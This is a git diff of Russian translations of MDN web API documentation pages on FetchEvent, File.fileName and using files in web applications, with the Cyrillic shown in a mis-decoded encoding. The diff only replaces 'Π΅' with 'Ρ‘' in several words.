+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>FetchEvent</code>. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π΄Π°Π½Π½Ρ‹ΠΉ конструктор Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ создаёт Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΡ… Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>fetch</code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html
index 912bfe49ca..6b236d1cf1 100644
--- a/files/ru/web/api/file/filename/index.html
+++ b/files/ru/web/api/file/filename/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/File/fileName
<h2 id="Summary">Summary</h2>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя Ρ„Π°ΠΉΠ»Π°. Π’ цСлях бСзопасности ΠΏΡƒΡ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈΠ· этого свойства.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя Ρ„Π°ΠΉΠ»Π°. Π’ цСлях бСзопасности ΠΏΡƒΡ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΈΠ· этого свойства.</p>
<div class="note">Π­Ρ‚ΠΎ свойство ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ вмСсто Π½Π΅Π³ΠΎ Β {{domxref("File.name")}}.</div>
@@ -25,7 +25,7 @@ translation_of: Web/API/File/fileName
<p>НС являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ.</p>
-<h2 id="Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ_Π΅Ρ‰Π΅">Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Ρ‰Π΅</h2>
+<h2 id="Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ_Π΅Ρ‰Ρ‘">Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Ρ‰Ρ‘</h2>
<ul>
<li>{{domxref("File.name")}}</li>
diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html
index 32ef60dbff..e8469671bd 100644
--- a/files/ru/web/api/file/using_files_from_web_applications/index.html
+++ b/files/ru/web/api/file/using_files_from_web_applications/index.html
@@ -151,7 +151,7 @@ fileSelect.addEventListener("click", function (e) {
<p>Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π² вашС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</p>
-<p>На ΠΏΠ΅Ρ€Π²ΠΎΠΌ шагС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π·ΠΎΠ½Ρƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ„Π°ΠΉΠ»Ρ‹. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ случаС Ρ‡Π°ΡΡ‚ΡŒ содСрТимого вашСй страницы, отвСтствСнная Π·Π° ΠΏΡ€ΠΈΠ΅ΠΌΠΊΡƒ пСрСтаскиваСмых Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Π΄ΠΈΠ·Π°ΠΉΠ½Π° прилоТСния, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ события пСрСтаскивания достаточно просто:</p>
+<p>На ΠΏΠ΅Ρ€Π²ΠΎΠΌ шагС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π·ΠΎΠ½Ρƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ„Π°ΠΉΠ»Ρ‹. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ случаС Ρ‡Π°ΡΡ‚ΡŒ содСрТимого вашСй страницы, отвСтствСнная Π·Π° ΠΏΡ€ΠΈΡ‘ΠΌΠΊΡƒ пСрСтаскиваСмых Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Π΄ΠΈΠ·Π°ΠΉΠ½Π° прилоТСния, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ события пСрСтаскивания достаточно просто:</p>
<pre class="brush: js notranslate">var dropbox;
@@ -189,7 +189,7 @@ function dragover(e) {
}
</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ ΠΈΠ· события ΠΏΠΎΠ»Π΅ <code>dataTransfer</code>, Π·Π°Ρ‚Π΅ΠΌ вытаскиваСм ΠΈΠ· Π½Π΅Π³ΠΎ список Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ этот список Π² <code>handleFiles()</code>. ПослС этого процСсс ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ² Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, использовал Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ для ΠΈΡ… Π²Ρ‹Π±ΠΎΡ€Π° элСмСнт <code>input</code>Β ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽΒ drag and drop.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ ΠΈΠ· события ΠΏΠΎΠ»Π΅ <code>dataTransfer</code>, Π·Π°Ρ‚Π΅ΠΌ вытаскиваСм ΠΈΠ· Π½Π΅Π³ΠΎ список Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ этот список Π² <code>handleFiles()</code>. ПослС этого процСсс ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ² Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, использовал Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ для ΠΈΡ… Π²Ρ‹Π±ΠΎΡ€Π° элСмСнт <code>input</code>Β ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽΒ drag and drop.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅_эскизов_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ_Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ…_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ эскизов ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</h2>
@@ -213,11 +213,11 @@ function dragover(e) {
}
</pre>
-<p>Π—Π΄Π΅ΡΡŒ наш Ρ†ΠΈΠΊΠ» ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Ρ„Π°ΠΉΠ»Ρ‹, провСряя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>type</code>Β Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π»ΠΈ Ρ„Π°ΠΉΠ» ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ (выполняСтся рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² строкС "<code>image.*</code>"). Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉΒ <code>img</code> элСмСнт. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для установки красивых Ρ€Π°ΠΌΠΎΠΊ, Ρ‚Π΅Π½Π΅ΠΉ, ΠΈ указания Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² изобраТСния, Π½ΠΎ здСсь Π½Π΅Ρ‚ Π½ΡƒΠΆΠ΄Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ этого.</p>
+<p>Π—Π΄Π΅ΡΡŒ наш Ρ†ΠΈΠΊΠ» ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Ρ„Π°ΠΉΠ»Ρ‹, провСряя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>type</code>Β Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π»ΠΈ Ρ„Π°ΠΉΠ» ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ (выполняСтся рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² строкС "<code>image.*</code>"). Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉΒ <code>img</code> элСмСнт. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для установки красивых Ρ€Π°ΠΌΠΎΠΊ, Ρ‚Π΅Π½Π΅ΠΉ, ΠΈ указания Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² изобраТСния, Π½ΠΎ здСсь Π½Π΅Ρ‚ Π½ΡƒΠΆΠ΄Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ этого.</p>
<p>КаТдоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ CSS класс <code>obj</code>Β Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊ Π½Π΅ΠΌΡƒ для упрощСния Π΅Π³ΠΎ поиска Π² DOM Π΄Π΅Ρ€Π΅Π²Π΅. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>file</code>Β ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΡƒΠΊΠ°Π·Π°Π²Β {{ domxref("File") }} ; это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌΒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ изобраТСния для фактичСской Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΠΎΠ·ΠΆΠ΅. НаконСц, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{ domxref("Node.appendChild()") }} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ эскиз в ΠΎΠ±Π»Π°ΡΡ‚ΡŒ прСдпросмотра нашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм {{ domxref("FileReader") }} для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ асинхронной Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния ΠΈ прикрСплСния Π΅Π³ΠΎ ΠΊ <code>img</code> элСмСнту. ПослС создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>FileReader</code>, ΠΌΡ‹ настраиваСм Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>onload</code>, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ <code>readAsDataURL()</code> для запуска ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ чтСния Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅. Когда всё содСрТимоС Ρ„Π°ΠΉΠ»Π° изобраТСния Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ, ΠΎΠ½ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ Π΅Π³ΠΎ Π²Β <code>data:</code> URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся Π² колбэк <code>onload</code>Β . Наша рСализация этой ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ просто устанавливаСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>Β Ρƒ элСмСнта <code>img</code>Β Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ изобраТСния, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ ΠΌΠΈΠ½ΠΈΠ°Ρ‚ΡŽΡ€Π° изобраТСния появляСтся Π½Π° экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм {{ domxref("FileReader") }} для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ асинхронной Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния ΠΈ прикрСплСния Π΅Π³ΠΎ ΠΊ <code>img</code> элСмСнту. ПослС создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>FileReader</code>, ΠΌΡ‹ настраиваСм Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>onload</code>, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ <code>readAsDataURL()</code> для запуска ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ чтСния Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅. Когда всё содСрТимоС Ρ„Π°ΠΉΠ»Π° изобраТСния Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ, ΠΎΠ½ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ Π΅Π³ΠΎ Π²Β <code>data:</code> URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся Π² колбэк <code>onload</code>Β . Наша рСализация этой ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ просто устанавливаСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>Β Ρƒ элСмСнта <code>img</code>Β Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ изобраТСния, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ ΠΌΠΈΠ½ΠΈΠ°Ρ‚ΡŽΡ€Π° изобраТСния появляСтся Π½Π° экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<h2 id="ИспользованиС_URLs_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">ИспользованиС URLs ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h2>
@@ -227,7 +227,7 @@ function dragover(e) {
<pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre>
-<p>URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„Π°ΠΉΠ»Π° {{ domxref("File") }}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ {{ domxref("window.URL.createObjectURL()") }}, создаСтся Π½ΠΎΠ²Ρ‹ΠΉ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΡƒΠΆΠ΅ создали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL для этого Ρ„Π°ΠΉΠ»Π°. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ освобоТдСн. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°ΡŽΡ‚ΡΡ автоматичСски ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ выгруТаСтся, Ссли ваша страница ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… динамичСски, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΡ… явно Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ {{ domxref("window.URL.revokeObjectURL()") }}:</p>
+<p>URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„Π°ΠΉΠ»Π° {{ domxref("File") }}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ {{ domxref("window.URL.createObjectURL()") }}, создаётся Π½ΠΎΠ²Ρ‹ΠΉ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΡƒΠΆΠ΅ создали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL для этого Ρ„Π°ΠΉΠ»Π°. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ освобоТдён. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°ΡŽΡ‚ΡΡ автоматичСски ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ выгруТаСтся, Ссли ваша страница ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… динамичСски, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΡ… явно Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ {{ domxref("window.URL.revokeObjectURL()") }}:</p>
<pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre>
@@ -290,12 +290,12 @@ function handleFiles(files) {
<p>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("FileList") }}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ Π² <code>handleFiles()</code> являСтся <code>null</code>, Ρ‚ΠΎ ΠΌΡ‹ просто устанавливаСм Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ HTML Π±Π»ΠΎΠΊΠ° Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ тСкста "No files selected!". Π˜Π½Π°Ρ‡Π΅ ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ список Ρ„Π°ΠΉΠ»ΠΎΠ² Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ol>
- <li>БоздаСтся Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт - нСупорядочСнный список ({{ HTMLElement("ul") }}).</li>
+ <li>Боздаётся Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт - нСупорядочСнный список ({{ HTMLElement("ul") }}).</li>
<li>Π­Ρ‚ΠΎΡ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт вставляСтся Π² Π±Π»ΠΎΠΊ {{ HTMLElement("div") }} с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{ domxref("element.appendChild()") }}.</li>
<li>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ {{ domxref("File") }} Π² {{ domxref("FileList") }}, прСдставляСмого <code>files</code>:
<ol>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт ΠΏΡƒΠ½ΠΊΡ‚Π° списка ({{ HTMLElement("li") }}) ΠΈ вставляСм Π΅Π³ΠΎ Π² список.</li>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт изобраТСния ({{ HTMLElement("img") }}).</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт ΠΏΡƒΠ½ΠΊΡ‚Π° списка ({{ HTMLElement("li") }}) ΠΈ вставляСм Π΅Π³ΠΎ Π² список.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт изобраТСния ({{ HTMLElement("img") }}).</li>
<li>УстанавливаСм источник изобраТСния Π² Π½ΠΎΠ²Ρ‹ΠΉ URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ„Π°ΠΉΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("window.URL.createObjectURL()") }} для создания URL Π½Π° Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</li>
<li>УстанавливаСм высоту изобраТСния Π² 60 пиксСлСй.</li>
